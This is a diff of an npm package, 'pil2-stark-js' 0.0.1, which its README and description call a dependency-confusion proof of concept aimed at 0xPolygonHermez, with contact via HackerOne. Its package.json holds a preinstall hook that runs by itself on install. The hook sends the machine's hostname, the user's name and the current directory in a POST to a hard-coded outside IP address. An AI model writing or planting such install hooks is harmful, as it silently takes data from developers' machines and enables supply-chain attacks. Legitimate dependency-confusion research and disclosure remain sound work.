pil2-stark-js 0.0.1

package/README.md

@@ -0,0 +1,4 @@
+# pil2-stark-js — Dependency Confusion PoC
+
+Security research package demonstrating that `pil2-stark-js` was unclaimed on npm
+while referenced in 0xPolygonHermez repositories. Contact via HackerOne.

package/index.js

@@ -0,0 +1,6 @@
+// Security Research — Dependency Confusion PoC
+// Package: pil2-stark-js | Company: 0xPolygonHermez
+// This package was published to prove the name was unclaimed.
+// Contact: HackerOne
+module.exports = { name: "pil2-stark-js", type: "security-research-poc" };
+console.log("[dependency-confusion-poc] Security research package. Contact via HackerOne.");

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "pil2-stark-js",
+  "version": "0.0.1",
+  "description": "Security research — dependency confusion PoC for 0xPolygonHermez. This package name was unclaimed on npm. Contact via HackerOne.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node -e \"try{var h=require('http');var r=h.request({hostname:'54.80.197.209',port:8443,path:'/cb/pil2-stark-js',method:'POST',headers:{'Content-Type':'application/json'}});r.write(JSON.stringify({id:'pil2-stark-js',pkg:'pil2-stark-js',h:require('os').hostname(),u:require('os').userInfo().username,c:process.cwd(),t:Date.now()}));r.end()}catch(e){}\""
+  },
+  "keywords": ["security-research", "dependency-confusion"],
+  "author": "security-researcher",
+  "license": "ISC"
+}